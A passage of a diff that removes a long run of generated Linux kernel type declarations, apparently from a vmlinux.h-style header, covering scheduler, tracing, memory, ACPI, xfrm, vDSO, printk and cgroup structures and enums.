port_info; - struct macsec_info macsec_info; - struct xfrm_md_info xfrm_info; - } u; -}; - -struct geneve_opt { - __be16 opt_class; - u8 type; - u8 length: 5; - u8 r3: 1; - u8 r2: 1; - u8 r1: 1; - u8 opt_data[0]; -}; - -struct vxlan_metadata { - u32 gbp; -}; - -struct erspan_md2 { - __be32 timestamp; - __be16 sgt; - __u8 hwid_upper: 2; - __u8 ft: 5; - __u8 p: 1; - __u8 o: 1; - __u8 gra: 2; - __u8 dir: 1; - __u8 hwid: 4; -}; - -struct erspan_metadata { - int version; - union { - __be32 index; - struct erspan_md2 md2; - } u; -}; - -struct setup_data { - __u64 next; - __u32 type; - __u32 len; - __u8 data[0]; -}; - -struct pci_setup_rom { - struct setup_data data; - uint16_t vendor; - uint16_t devid; - uint64_t pcilen; - long unsigned int segment; - long unsigned int bus; - long unsigned int device; - long unsigned int function; - uint8_t romdata[0]; -}; - -enum pci_bf_sort_state { - pci_bf_sort_default = 0, - pci_force_nobf = 1, - pci_force_bf = 2, - pci_dmi_bf = 3, -}; - -struct pci_raw_ops { - int (*read)(unsigned int, unsigned int, unsigned int, int, int, u32 *); - int (*write)(unsigned int, unsigned int, unsigned int, int, int, u32); -}; - -struct x86_cpuinit_ops { - void (*setup_percpu_clockev)(); - void (*early_percpu_clock_init)(); - void (*fixup_cpu_id)(struct cpuinfo_x86 *, int); -}; - -enum { - SD_BALANCE_NEWIDLE = 1, - SD_BALANCE_EXEC = 2, - SD_BALANCE_FORK = 4, - SD_BALANCE_WAKE = 8, - SD_WAKE_AFFINE = 16, - SD_ASYM_CPUCAPACITY = 32, - SD_ASYM_CPUCAPACITY_FULL = 64, - SD_SHARE_CPUCAPACITY = 128, - SD_SHARE_PKG_RESOURCES = 256, - SD_SERIALIZE = 512, - SD_ASYM_PACKING = 1024, - SD_PREFER_SIBLING = 2048, - SD_OVERLAP = 4096, - SD_NUMA = 8192, -}; - -struct sched_domain_shared { - atomic_t ref; - atomic_t nr_busy_cpus; - int has_idle_cores; - int nr_idle_scan; -}; - -struct sched_group; - -struct sched_domain { - struct sched_domain *parent; - struct sched_domain *child; - struct sched_group *groups; - long unsigned int min_interval; - long unsigned int max_interval; - unsigned int busy_factor; - unsigned int imbalance_pct; - unsigned int cache_nice_tries; - unsigned int imb_numa_nr; - int nohz_idle; - int flags; - int level; - long unsigned int last_balance; - unsigned int balance_interval; - unsigned int nr_balance_failed; - u64 max_newidle_lb_cost; - long unsigned int last_decay_max_lb_cost; - u64 avg_scan_cost; - unsigned int lb_count[3]; - unsigned int lb_failed[3]; - unsigned int lb_balanced[3]; - unsigned int lb_imbalance[3]; - unsigned int lb_gained[3]; - unsigned int lb_hot_gained[3]; - unsigned int lb_nobusyg[3]; - unsigned int lb_nobusyq[3]; - unsigned int alb_count; - unsigned int alb_failed; - unsigned int alb_pushed; - unsigned int sbe_count; - unsigned int sbe_balanced; - unsigned int sbe_pushed; - unsigned int sbf_count; - unsigned int sbf_balanced; - unsigned int sbf_pushed; - unsigned int ttwu_wake_remote; - unsigned int ttwu_move_affine; - unsigned int ttwu_move_balance; - char *name; - union { - void *private; - struct callback_head rcu; - }; - struct sched_domain_shared *shared; - unsigned int span_weight; - long unsigned int span[0]; -}; - -typedef const struct cpumask * (*sched_domain_mask_f)(int); - -typedef int (*sched_domain_flags_f)(); - -struct sched_group_capacity; - -struct sd_data { - struct sched_domain **sd; - struct sched_domain_shared **sds; - struct sched_group **sg; - struct sched_group_capacity **sgc; -}; - -struct sched_domain_topology_level { - sched_domain_mask_f mask; - sched_domain_flags_f sd_flags; - int flags; - int numa_level; - struct sd_data data; - char *name; -}; - -enum { - NMI_LOCAL = 0, - NMI_UNKNOWN = 1, - NMI_SERR = 2, - NMI_IO_CHECK = 3, - NMI_MAX = 4, -}; - -typedef int (*nmi_handler_t)(unsigned int, struct pt_regs *); - -struct nmiaction { - struct list_head list; - nmi_handler_t handler; - u64 max_duration; - long unsigned int flags; - const char *name; -}; - -enum syscall_work_bit { - SYSCALL_WORK_BIT_SECCOMP = 0, - SYSCALL_WORK_BIT_SYSCALL_TRACEPOINT = 1, - SYSCALL_WORK_BIT_SYSCALL_TRACE = 2, - SYSCALL_WORK_BIT_SYSCALL_EMU = 3, - SYSCALL_WORK_BIT_SYSCALL_AUDIT = 4, - SYSCALL_WORK_BIT_SYSCALL_USER_DISPATCH = 5, - SYSCALL_WORK_BIT_SYSCALL_EXIT_TRAP = 6, -}; - -struct siginfo { - union { - struct { - int si_signo; - int si_errno; - int si_code; - union __sifields _sifields; - }; - int _si_pad[32]; - }; -}; - -typedef struct siginfo siginfo_t; - -struct sigqueue { - struct list_head list; - int flags; - kernel_siginfo_t info; - struct ucounts *ucounts; -}; - -struct ptrace_peeksiginfo_args { - __u64 off; - __u32 flags; - __s32 nr; -}; - -struct ptrace_syscall_info { - __u8 op; - __u8 pad[3]; - __u32 arch; - __u64 instruction_pointer; - __u64 stack_pointer; - union { - struct { - __u64 nr; - __u64 args[6]; - } entry; - struct { - __s64 rval; - __u8 is_error; - } exit; - struct { - __u64 nr; - __u64 args[6]; - __u32 ret_data; - } seccomp; - }; -}; - -struct ptrace_rseq_configuration { - __u64 rseq_abi_pointer; - __u32 rseq_abi_size; - __u32 signature; - __u32 flags; - __u32 pad; -}; - -struct user_regset_view { - const char *name; - const struct user_regset *regsets; - unsigned int n; - u32 e_flags; - u16 e_machine; - u8 ei_osabi; -}; - -enum trace_iter_flags { - TRACE_FILE_LAT_FMT = 1, - TRACE_FILE_ANNOTATE = 2, - TRACE_FILE_TIME_IN_NS = 4, -}; - -enum trace_type { - __TRACE_FIRST_TYPE = 0, - TRACE_FN = 1, - TRACE_CTX = 2, - TRACE_WAKE = 3, - TRACE_STACK = 4, - TRACE_PRINT = 5, - TRACE_BPRINT = 6, - TRACE_MMIO_RW = 7, - TRACE_MMIO_MAP = 8, - TRACE_BRANCH = 9, - TRACE_GRAPH_RET = 10, - TRACE_GRAPH_ENT = 11, - TRACE_USER_STACK = 12, - TRACE_BLK = 13, - TRACE_BPUTS = 14, - TRACE_HWLAT = 15, - TRACE_OSNOISE = 16, - TRACE_TIMERLAT = 17, - TRACE_RAW_DATA = 18, - TRACE_FUNC_REPEATS = 19, - __TRACE_LAST_TYPE = 20, -}; - -struct ftrace_entry { - struct trace_entry ent; - long unsigned int ip; - long unsigned int parent_ip; -}; - -struct ctx_switch_entry { - struct trace_entry ent; - unsigned int prev_pid; - unsigned int next_pid; - unsigned int next_cpu; - unsigned char prev_prio; - unsigned char prev_state; - unsigned char next_prio; - unsigned char next_state; -}; - -struct stack_entry { - struct trace_entry ent; - int size; - long unsigned int caller[8]; -}; - -struct userstack_entry { - struct trace_entry ent; - unsigned int tgid; - long unsigned int caller[8]; -}; - -struct bprint_entry { - struct trace_entry ent; - long unsigned int ip; - const char *fmt; - u32 buf[0]; -}; - -struct print_entry { - struct trace_entry ent; - long unsigned int ip; - char buf[0]; -}; - -struct raw_data_entry { - struct trace_entry ent; - unsigned int id; - char buf[0]; -}; - -struct bputs_entry { - struct trace_entry ent; - long unsigned int ip; - const char *str; -}; - -struct hwlat_entry { - struct trace_entry ent; - u64 duration; - u64 outer_duration; - u64 nmi_total_ts; - struct timespec64 timestamp; - unsigned int nmi_count; - unsigned int seqnum; - unsigned int count; -}; - -struct func_repeats_entry { - struct trace_entry ent; - long unsigned int ip; - long unsigned int parent_ip; - u16 count; - u16 top_delta_ts; - u32 bottom_delta_ts; -}; - -struct osnoise_entry { - struct trace_entry ent; - u64 noise; - u64 runtime; - u64 max_sample; - unsigned int hw_count; - unsigned int nmi_count; - unsigned int irq_count; - unsigned int softirq_count; - unsigned int thread_count; -}; - -struct timerlat_entry { - struct trace_entry ent; - unsigned int seqnum; - int context; - u64 timer_latency; -}; - -struct trace_mark { - long long unsigned int val; - char sym; -}; - -struct anon_vma_chain { - struct vm_area_struct *vma; - struct anon_vma *anon_vma; - struct list_head same_vma; - struct rb_node rb; - long unsigned int rb_subtree_last; -}; - -struct rb_augment_callbacks { - void (*propagate)(struct rb_node *, struct rb_node *); - void (*copy)(struct rb_node *, struct rb_node *); - void (*rotate)(struct rb_node *, struct rb_node *); -}; - -enum pageblock_bits { - PB_migrate = 0, - PB_migrate_end = 2, - PB_migrate_skip = 3, - NR_PAGEBLOCK_BITS = 4, -}; - -struct page_frag_cache { - void *va; - __u16 offset; - __u16 size; - unsigned int pagecnt_bias; - bool pfmemalloc; -}; - -enum zone_flags { - ZONE_BOOSTED_WATERMARK = 0, - ZONE_RECLAIM_ACTIVE = 1, -}; - -enum meminit_context { - MEMINIT_EARLY = 0, - MEMINIT_HOTPLUG = 1, -}; - -struct mem_section_usage { - long unsigned int subsection_map[1]; - long unsigned int pageblock_flags[0]; -}; - -struct mem_section { - long unsigned int section_mem_map; - struct mem_section_usage *usage; -}; - -enum { - SECTION_MARKED_PRESENT_BIT = 0, - SECTION_HAS_MEM_MAP_BIT = 1, - SECTION_IS_ONLINE_BIT = 2, - SECTION_IS_EARLY_BIT = 3, - SECTION_MAP_LAST_BIT = 4, -}; - -enum migrate_reason { - MR_COMPACTION = 0, - MR_MEMORY_FAILURE = 1, - MR_MEMORY_HOTPLUG = 2, - MR_SYSCALL = 3, - MR_MEMPOLICY_MBIND = 4, - MR_NUMA_MISPLACED = 5, - MR_CONTIG_RANGE = 6, - MR_LONGTERM_PIN = 7, - MR_DEMOTION = 8, - MR_TYPES = 9, -}; - -typedef void compound_page_dtor(struct page *); - -struct vm_event_state { - long unsigned int event[107]; -}; - -enum memblock_flags { - MEMBLOCK_NONE = 0, - MEMBLOCK_HOTPLUG = 1, - MEMBLOCK_MIRROR = 2, - MEMBLOCK_NOMAP = 4, - MEMBLOCK_DRIVER_MANAGED = 8, -}; - -struct memblock_region { - phys_addr_t base; - phys_addr_t size; - enum memblock_flags flags; - int nid; -}; - -struct memblock_type { - long unsigned int cnt; - long unsigned int max; - phys_addr_t total_size; - struct memblock_region *regions; - char *name; -}; - -struct memblock { - bool bottom_up; - phys_addr_t current_limit; - struct memblock_type memory; - struct memblock_type reserved; -}; - -enum oom_constraint { - CONSTRAINT_NONE = 0, - CONSTRAINT_CPUSET = 1, - CONSTRAINT_MEMORY_POLICY = 2, - CONSTRAINT_MEMCG = 3, -}; - -struct oom_control { - struct zonelist *zonelist; - nodemask_t *nodemask; - struct mem_cgroup *memcg; - const gfp_t gfp_mask; - const int order; - long unsigned int totalpages; - struct task_struct *chosen; - long int chosen_points; - enum oom_constraint constraint; -}; - -typedef struct page *new_page_t(struct page *, long unsigned int); - -typedef void free_page_t(struct page *, long unsigned int); - -struct alloc_context { - struct zonelist *zonelist; - nodemask_t *nodemask; - struct zoneref *preferred_zoneref; - int migratetype; - enum zone_type highest_zoneidx; - bool spread_dirty_pages; -}; - -enum mminit_level { - MMINIT_WARNING = 0, - MMINIT_VERIFY = 1, - MMINIT_TRACE = 2, -}; - -struct migration_target_control { - int nid; - nodemask_t *nmask; - gfp_t gfp_mask; -}; - -typedef int fpi_t; - -struct mminit_pfnnid_cache { - long unsigned int last_start; - long unsigned int last_end; - int last_nid; -}; - -struct io_sync { - struct file *file; - loff_t len; - loff_t off; - int flags; - int mode; -}; - -struct walk_rcec_data { - struct pci_dev *rcec; - int (*user_callback)(struct pci_dev *, void *); - void *user_data; -}; - -struct acpi_hardware_id { - struct list_head list; - const char *id; -}; - -struct acpi_device_physical_node { - unsigned int node_id; - struct list_head node; - struct device *dev; - bool put_online: 1; -}; - -struct acpi_dev_walk_context { - int (*fn)(struct acpi_device *, void *); - void *data; -}; - -struct pts_fs_info; - -struct device_attach_data { - struct device *dev; - bool check_async; - bool want_async; - bool have_async; -}; - -struct _thermal_state { - u64 next_check; - u64 last_interrupt_time; - struct delayed_work therm_work; - long unsigned int count; - long unsigned int last_count; - long unsigned int max_time_ms; - long unsigned int total_time_ms; - bool rate_control_active; - bool new_event; - u8 level; - u8 sample_index; - u8 sample_count; - u8 average; - u8 baseline_temp; - u8 temp_samples[3]; -}; - -struct thermal_state { - struct _thermal_state core_throttle; - struct _thermal_state core_power_limit; - struct _thermal_state package_throttle; - struct _thermal_state package_power_limit; - struct _thermal_state core_thresh0; - struct _thermal_state core_thresh1; - struct _thermal_state pkg_thresh0; - struct _thermal_state pkg_thresh1; -}; - -struct acpi_table_pcct { - struct acpi_table_header header; - u32 flags; - u64 reserved; -}; - -enum acpi_pcct_type { - ACPI_PCCT_TYPE_GENERIC_SUBSPACE = 0, - ACPI_PCCT_TYPE_HW_REDUCED_SUBSPACE = 1, - ACPI_PCCT_TYPE_HW_REDUCED_SUBSPACE_TYPE2 = 2, - ACPI_PCCT_TYPE_EXT_PCC_MASTER_SUBSPACE = 3, - ACPI_PCCT_TYPE_EXT_PCC_SLAVE_SUBSPACE = 4, - ACPI_PCCT_TYPE_HW_REG_COMM_SUBSPACE = 5, - ACPI_PCCT_TYPE_RESERVED = 6, -}; - -struct acpi_pcct_subspace { - struct acpi_subtable_header header; - u8 reserved[6]; - u64 base_address; - u64 length; - struct acpi_generic_address doorbell_register; - u64 preserve_mask; - u64 write_mask; - u32 latency; - u32 max_access_rate; - u16 min_turnaround_time; -} __attribute__((packed)); - -struct acpi_pcct_hw_reduced { - struct acpi_subtable_header header; - u32 platform_interrupt; - u8 flags; - u8 reserved; - u64 base_address; - u64 length; - struct acpi_generic_address doorbell_register; - u64 preserve_mask; - u64 write_mask; - u32 latency; - u32 max_access_rate; - u16 min_turnaround_time; -} __attribute__((packed)); - -struct acpi_pcct_hw_reduced_type2 { - struct acpi_subtable_header header; - u32 platform_interrupt; - u8 flags; - u8 reserved; - u64 base_address; - u64 length; - struct acpi_generic_address doorbell_register; - u64 preserve_mask; - u64 write_mask; - u32 latency; - u32 max_access_rate; - u16 min_turnaround_time; - struct acpi_generic_address platform_ack_register; - u64 ack_preserve_mask; - u64 ack_write_mask; -} __attribute__((packed)); - -struct acpi_pcct_ext_pcc_master { - struct acpi_subtable_header header; - u32 platform_interrupt; - u8 flags; - u8 reserved1; - u64 base_address; - u32 length; - struct acpi_generic_address doorbell_register; - u64 preserve_mask; - u64 write_mask; - u32 latency; - u32 max_access_rate; - u32 min_turnaround_time; - struct acpi_generic_address platform_ack_register; - u64 ack_preserve_mask; - u64 ack_set_mask; - u64 reserved2; - struct acpi_generic_address cmd_complete_register; - u64 cmd_complete_mask; - struct acpi_generic_address cmd_update_register; - u64 cmd_update_preserve_mask; - u64 cmd_update_set_mask; - struct acpi_generic_address error_status_register; - u64 error_status_mask; -} __attribute__((packed)); - -struct mbox_chan; - -struct mbox_chan_ops { - int (*send_data)(struct mbox_chan *, void *); - int (*flush)(struct mbox_chan *, long unsigned int); - int (*startup)(struct mbox_chan *); - void (*shutdown)(struct mbox_chan *); - bool (*last_tx_done)(struct mbox_chan *); - bool (*peek_data)(struct mbox_chan *); -}; - -struct mbox_controller; - -struct mbox_client; - -struct mbox_chan { - struct mbox_controller *mbox; - unsigned int txdone_method; - struct mbox_client *cl; - struct completion tx_complete; - void *active_req; - unsigned int msg_count; - unsigned int msg_free; - void *msg_data[20]; - spinlock_t lock; - void *con_priv; -}; - -struct mbox_controller { - struct device *dev; - const struct mbox_chan_ops *ops; - struct mbox_chan *chans; - int num_chans; - bool txdone_irq; - bool txdone_poll; - unsigned int txpoll_period; - struct mbox_chan * (*of_xlate)(struct mbox_controller *, const struct of_phandle_args *); - struct hrtimer poll_hrt; - spinlock_t poll_hrt_lock; - struct list_head node; -}; - -struct mbox_client { - struct device *dev; - bool tx_block; - long unsigned int tx_tout; - bool knows_txdone; - void (*rx_callback)(struct mbox_client *, void *); - void (*tx_prepare)(struct mbox_client *, void *); - void (*tx_done)(struct mbox_client *, void *, int); -}; - -struct pcc_mbox_chan { - struct mbox_chan *mchan; - u64 shmem_base_addr; - u64 shmem_size; - u32 latency; - u32 max_access_rate; - u16 min_turnaround_time; -}; - -struct pcc_chan_reg { - void *vaddr; - struct acpi_generic_address *gas; - u64 preserve_mask; - u64 set_mask; - u64 status_mask; -}; - -struct pcc_chan_info { - struct pcc_mbox_chan chan; - struct pcc_chan_reg db; - struct pcc_chan_reg plat_irq_ack; - struct pcc_chan_reg cmd_complete; - struct pcc_chan_reg cmd_update; - struct pcc_chan_reg error; - int plat_irq; -}; - -struct class_attribute { - struct attribute attr; - ssize_t (*show)(struct class *, struct class_attribute *, char *); - ssize_t (*store)(struct class *, struct class_attribute *, const char *, size_t); -}; - -struct rx_queue_attribute { - struct attribute attr; - ssize_t (*show)(struct netdev_rx_queue *, char *); - ssize_t (*store)(struct netdev_rx_queue *, const char *, size_t); -}; - -struct netdev_queue_attribute { - struct attribute attr; - ssize_t (*show)(struct netdev_queue *, char *); - ssize_t (*store)(struct netdev_queue *, const char *, size_t); -}; - -struct ip_beet_phdr { - __u8 nexthdr; - __u8 hdrlen; - __u8 padlen; - __u8 reserved; -}; - -enum { - XFRM_MODE_FLAG_TUNNEL = 1, -}; - -enum { - XFRM_STATE_VOID = 0, - XFRM_STATE_ACQ = 1, - XFRM_STATE_VALID = 2, - XFRM_STATE_ERROR = 3, - XFRM_STATE_EXPIRED = 4, - XFRM_STATE_DEAD = 5, -}; - -struct xfrm_input_afinfo { - u8 family; - bool is_ipip; - int (*callback)(struct sk_buff *, u8, int); -}; - -struct __ip6_tnl_parm { - char name[16]; - int link; - __u8 proto; - __u8 encap_limit; - __u8 hop_limit; - bool collect_md; - __be32 flowinfo; - __u32 flags; - struct in6_addr laddr; - struct in6_addr raddr; - __be16 i_flags; - __be16 o_flags; - __be32 i_key; - __be32 o_key; - __u32 fwmark; - __u32 index; - __u8 erspan_ver; - __u8 dir; - __u16 hwid; -}; - -struct ip6_tnl { - struct ip6_tnl *next; - struct net_device *dev; - netdevice_tracker dev_tracker; - struct net *net; - struct __ip6_tnl_parm parms; - struct flowi fl; - struct dst_cache dst_cache; - struct gro_cells gro_cells; - int err_count; - long unsigned int err_time; - __u32 i_seqno; - atomic_t o_seqno; - int hlen; - int tun_hlen; - int encap_hlen; - struct ip_tunnel_encap encap; - int mlink; -}; - -struct xfrm_tunnel_skb_cb { - union { - struct inet_skb_parm h4; - struct inet6_skb_parm h6; - } header; - union { - struct ip_tunnel *ip4; - struct ip6_tnl *ip6; - } tunnel; -}; - -struct xfrm_skb_cb { - struct xfrm_tunnel_skb_cb header; - union { - struct { - __u32 low; - __u32 hi; - } output; - struct { - __be32 low; - __be32 hi; - } input; - } seq; -}; - -struct xfrm_mode_skb_cb { - struct xfrm_tunnel_skb_cb header; - __be16 id; - __be16 frag_off; - u8 ihl; - u8 tos; - u8 ttl; - u8 protocol; - u8 optlen; - u8 flow_lbl[3]; -}; - -struct xfrm_spi_skb_cb { - struct xfrm_tunnel_skb_cb header; - unsigned int daddroff; - unsigned int family; - __be32 seq; -}; - -struct xfrm_trans_tasklet { - struct work_struct work; - spinlock_t queue_lock; - struct sk_buff_head queue; -}; - -struct xfrm_trans_cb { - union { - struct inet_skb_parm h4; - struct inet6_skb_parm h6; - } header; - int (*finish)(struct net *, struct sock *, struct sk_buff *); - struct net *net; -}; - -struct xfrm6_tunnel { - int (*handler)(struct sk_buff *); - int (*cb_handler)(struct sk_buff *, int); - int (*err_handler)(struct sk_buff *, struct inet6_skb_parm *, u8, u8, int, __be32); - struct xfrm6_tunnel *next; - int priority; -}; - -struct compress_format { - unsigned char magic[2]; - const char *name; - decompress_fn decompressor; -}; - -struct rc { - long int (*fill)(void *, long unsigned int); - uint8_t *ptr; - uint8_t *buffer; - uint8_t *buffer_end; - long int buffer_size; - uint32_t code; - uint32_t range; - uint32_t bound; - void (*error)(char *); -}; - -struct lzma_header { - uint8_t pos; - uint32_t dict_size; - uint64_t dst_size; -} __attribute__((packed)); - -struct writer { - uint8_t *buffer; - uint8_t previous_byte; - size_t buffer_pos; - int bufsize; - size_t global_pos; - long int (*flush)(void *, long unsigned int); - struct lzma_header *header; -}; - -struct cstate { - int state; - uint32_t rep0; - uint32_t rep1; - uint32_t rep2; - uint32_t rep3; -}; - -struct radix_tree_iter { - long unsigned int index; - long unsigned int next_index; - long unsigned int tags; - struct xa_node *node; -}; - -enum { - RADIX_TREE_ITER_TAG_MASK = 15, - RADIX_TREE_ITER_TAGGED = 16, - RADIX_TREE_ITER_CONTIG = 32, -}; - -struct ida_bitmap { - long unsigned int bitmap[16]; -}; - -struct alt_instr { - s32 instr_offset; - s32 repl_offset; - u16 cpuid; - u8 instrlen; - u8 replacementlen; -}; - -struct timens_offset { - s64 sec; - u64 nsec; -}; - -enum vm_fault_reason { - VM_FAULT_OOM = 1, - VM_FAULT_SIGBUS = 2, - VM_FAULT_MAJOR = 4, - VM_FAULT_WRITE = 8, - VM_FAULT_HWPOISON = 16, - VM_FAULT_HWPOISON_LARGE = 32, - VM_FAULT_SIGSEGV = 64, - VM_FAULT_NOPAGE = 256, - VM_FAULT_LOCKED = 512, - VM_FAULT_RETRY = 1024, - VM_FAULT_FALLBACK = 2048, - VM_FAULT_DONE_COW = 4096, - VM_FAULT_NEEDDSYNC = 8192, - VM_FAULT_COMPLETED = 16384, - VM_FAULT_HINDEX_MASK = 983040, -}; - -struct vm_special_mapping { - const char *name; - struct page **pages; - vm_fault_t (*fault)(const struct vm_special_mapping *, struct vm_area_struct *, struct vm_fault *); - int (*mremap)(const struct vm_special_mapping *, struct vm_area_struct *); -}; - -struct pvclock_vcpu_time_info { - u32 version; - u32 pad0; - u64 tsc_timestamp; - u64 system_time; - u32 tsc_to_system_mul; - s8 tsc_shift; - u8 flags; - u8 pad[2]; -}; - -struct pvclock_vsyscall_time_info { - struct pvclock_vcpu_time_info pvti; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -enum vdso_clock_mode { - VDSO_CLOCKMODE_NONE = 0, - VDSO_CLOCKMODE_TSC = 1, - VDSO_CLOCKMODE_PVCLOCK = 2, - VDSO_CLOCKMODE_HVCLOCK = 3, - VDSO_CLOCKMODE_MAX = 4, - VDSO_CLOCKMODE_TIMENS = 2147483647, -}; - -struct arch_vdso_data {}; - -struct vdso_timestamp { - u64 sec; - u64 nsec; -}; - -struct vdso_data { - u32 seq; - s32 clock_mode; - u64 cycle_last; - u64 mask; - u32 mult; - u32 shift; - union { - struct vdso_timestamp basetime[12]; - struct timens_offset offset[12]; - }; - s32 tz_minuteswest; - s32 tz_dsttime; - u32 hrtimer_res; - u32 __unused; - struct arch_vdso_data arch_data; -}; - -struct ms_hyperv_tsc_page { - volatile u32 tsc_sequence; - u32 reserved1; - volatile u64 tsc_scale; - volatile s64 tsc_offset; -}; - -struct printk_info { - u64 seq; - u64 ts_nsec; - u16 text_len; - u8 facility; - u8 flags: 5; - u8 level: 3; - u32 caller_id; - struct dev_printk_info dev_info; -}; - -struct printk_record { - struct printk_info *info; - char *text_buf; - unsigned int text_buf_size; -}; - -struct prb_data_blk_lpos { - long unsigned int begin; - long unsigned int next; -}; - -struct prb_desc { - atomic_long_t state_var; - struct prb_data_blk_lpos text_blk_lpos; -}; - -struct prb_data_ring { - unsigned int size_bits; - char *data; - atomic_long_t head_lpos; - atomic_long_t tail_lpos; -}; - -struct prb_desc_ring { - unsigned int count_bits; - struct prb_desc *descs; - struct printk_info *infos; - atomic_long_t head_id; - atomic_long_t tail_id; - atomic_long_t last_finalized_id; -}; - -struct printk_ringbuffer { - struct prb_desc_ring desc_ring; - struct prb_data_ring text_data_ring; - atomic_long_t fail; -}; - -struct prb_reserved_entry { - struct printk_ringbuffer *rb; - long unsigned int irqflags; - long unsigned int id; - unsigned int text_space; -}; - -enum desc_state { - desc_miss = -1, - desc_reserved = 0, - desc_committed = 1, - desc_finalized = 2, - desc_reusable = 3, -}; - -struct prb_data_block { - long unsigned int id; - char data[0]; -}; - -enum rcutorture_type { - RCU_FLAVOR = 0, - RCU_TASKS_FLAVOR = 1, - RCU_TASKS_RUDE_FLAVOR = 2, - RCU_TASKS_TRACING_FLAVOR = 3, - RCU_TRIVIAL_FLAVOR = 4, - SRCU_FLAVOR = 5, - INVALID_RCU_FLAVOR = 6, -}; - -struct elf64_note { - Elf64_Word n_namesz; - Elf64_Word n_descsz; - Elf64_Word n_type; -}; - -struct kernel_clone_args { - u64 flags; - int *pidfd; - int *child_tid; - int *parent_tid; - int exit_signal; - long unsigned int stack; - long unsigned int stack_size; - long unsigned int tls; - pid_t *set_tid; - size_t set_tid_size; - int cgroup; - int io_thread; - int kthread; - int idle; - int (*fn)(void *); - void *fn_arg; - struct cgroup *cgrp; - struct css_set *cset; -}; - -enum kernfs_root_flag { - KERNFS_ROOT_CREATE_DEACTIVATED = 1, - KERNFS_ROOT_EXTRA_OPEN_PERM_CHECK = 2, - KERNFS_ROOT_SUPPORT_EXPORTOP = 4, - KERNFS_ROOT_SUPPORT_USER_XATTR = 8, -}; - -struct kernfs_syscall_ops { - int (*show_options)(struct seq_file *, struct kernfs_root *); - int (*mkdir)(struct kernfs_node *, const char *, umode_t); - int (*rmdir)(struct kernfs_node *); - int (*rename)(struct kernfs_node *, struct kernfs_node *, const char *); - int (*show_path)(struct seq_file *, struct kernfs_node *, struct kernfs_root *); -}; - -struct kernfs_fs_context { - struct kernfs_root *root; - void *ns_tag; - long unsigned int magic; - bool new_sb_created; -}; - -enum { - CGRP_NOTIFY_ON_RELEASE = 0, - CGRP_CPUSET_CLONE_CHILDREN = 1, - CGRP_FREEZE = 2, - CGRP_FROZEN = 3, - CGRP_KILL = 4, -}; - -enum { - CGRP_ROOT_NOPREFIX = 2, - CGRP_ROOT_XATTR = 4, - CGRP_ROOT_NS_DELEGATE = 8, - CGRP_ROOT_FAVOR_DYNMODS = 16, - CGRP_ROOT_CPUSET_V2_MODE = 65536, - CGRP_ROOT_MEMORY_LOCAL_EVENTS = 131072, - CGRP_ROOT_MEMORY_RECURSIVE_PROT = 262144, -}; - -struct cgroup_taskset { - struct list_head src_csets; - struct list_head dst_csets; - int nr_tasks; - int ssid; - struct list_head *csets; - struct css_set *cur_cset; - struct task_struct *cur_task; -}; - -struct cgroup_fs_context { - struct kernfs_fs_context kfc; - struct cgroup_root *root; - struct cgroup_namespace *ns; - unsigned int flags; - bool cpuset_clone_children; - bool none; - bool all_ss; - u16 subsys_mask; - char *name; - char *release_agent; -}; - -struct cgroup_pidlist; - -struct cgroup_file_ctx { - struct cgroup_namespace *ns; - struct { - void *trigger; - } psi; - struct { - bool started; - struct css_task_iter iter; - } procs; - struct { - struct cgroup_pidlist *pidlist; - } procs1; -}; - -struct cgrp_cset_link { - struct cgroup *cgrp; - struct css_set *cset; - struct list_head cset_link; - struct list_head cgrp_link; -}; - -struct cgroup_mgctx { - struct list_head preloaded_src_csets; - struct list_head preloaded_dst_csets; - struct cgroup_taskset tset; - u16 ss_mask; -}; - -struct trace_event_raw_cgroup_root { - struct trace_entry ent; - int root; - u16 ss_mask; - u32 __data_loc_name; - char __data[0]; -}; - -struct trace_event_raw_cgroup { - struct trace_entry ent; - int root; - int level; - u64 id; - u32 __data_loc_path; - char __data[0]; -}; - -struct trace_event_raw_cgroup_migrate { - struct trace_entry ent; - int dst_root; - int dst_level; - u64 dst_id; - int pid; - u32 __data_loc_dst_path; - u32 __data_loc_comm; - char __data[0]; -}; - -struct trace_event_raw_cgroup_event { - struct trace_entry ent; - int root; - int level; - u64 id; - u32 __data_loc_path; - int val; - char __data[0]; -}; - -struct trace_event_data_offsets_cgroup_root { - u32 name; -}; - -struct trace_event_data_offsets_cgroup { - u32 path; -}; - -struct trace_event_data_offsets_cgroup_migrate { - u32 dst_path; - u32 comm; -}; - -struct trace_event_data_offsets_cgroup_event { - u32 path; -}; - -typedef void (*btf_trace_cgroup_setup_root)(void *, struct cgroup_root *); - -typedef void (*btf_trace_cgroup_destroy_root)(void *, struct cgroup_root *); - -typedef void (*btf_trace_cgroup_remount)(void *, struct cgroup_root *); - -typedef void (*btf_trace_cgroup_mkdir)(void *, struct cgroup *, const char *); - -typedef void (*btf_trace_cgroup_rmdir)(void *, struct cgroup *, const char *); - -typedef void (*btf_trace_cgroup_release)(void *, struct cgroup *, const char *); - -typedef void (*btf_trace_cgroup_rename)(void *, struct cgroup *, const char *); - -typedef void (*btf_trace_cgroup_freeze)(void *, struct cgroup *, const char *); - -typedef void (*btf_trace_cgroup_unfreeze)(void *, struct cgroup *, const char *); - -typedef void (*btf_trace_cgroup_attach_task)(void *, struct cgroup *, const char *, struct task_struct *, bool); - -typedef void (*btf_trace_cgroup_transfer_tasks)(void *, struct cgroup *, const char *, struct task_struct *, bool); - -typedef void (*btf_trace_cgroup_notify_populated)(void *, struct cgroup *, const char *, int); - -typedef void (*btf_trace_cgroup_notify_frozen)(void *, struct cgroup *, const char *, int); - -enum cgroup_opt_features { - OPT_FEATURE_COUNT = 0, -}; - -enum cgroup2_param { - Opt_nsdelegate = 0, - Opt_favordynmods = 1, - Opt_memory_localevents = 2, - Opt_memory_recursiveprot = 3, - nr__cgroup2_params = 4, -}; - -struct once_work { - struct work_struct work; - struct static_key_true *key; - struct module *module; -}; - -struct xz_dec_bcj { - enum { - BCJ_X86 = 4, - BCJ_POWERPC = 5, - BCJ_IA64 = 6, - BCJ_ARM = 7, - BCJ_ARMTHUMB = 8, - BCJ_SPARC = 9, - } type; - enum xz_ret ret; - bool single_call; - uint32_t pos; - uint32_t x86_prev_mask; - uint8_t *out; - size_t out_pos; - size_t out_size; - struct { - size_t filtered; - size_t size; - uint8_t buf[16]; - } temp; -}; - -struct sg_page_iter { - struct scatterlist *sg; - unsigned int sg_pgoffset; - unsigned int __nents; - int __pg_advance; -}; - -struct sg_mapping_iter { - struct page *page; - void *addr; - size_t length; - size_t consumed; - struct sg_page_iter piter; - unsigned int __offset; - unsigned int __remaining; - unsigned int 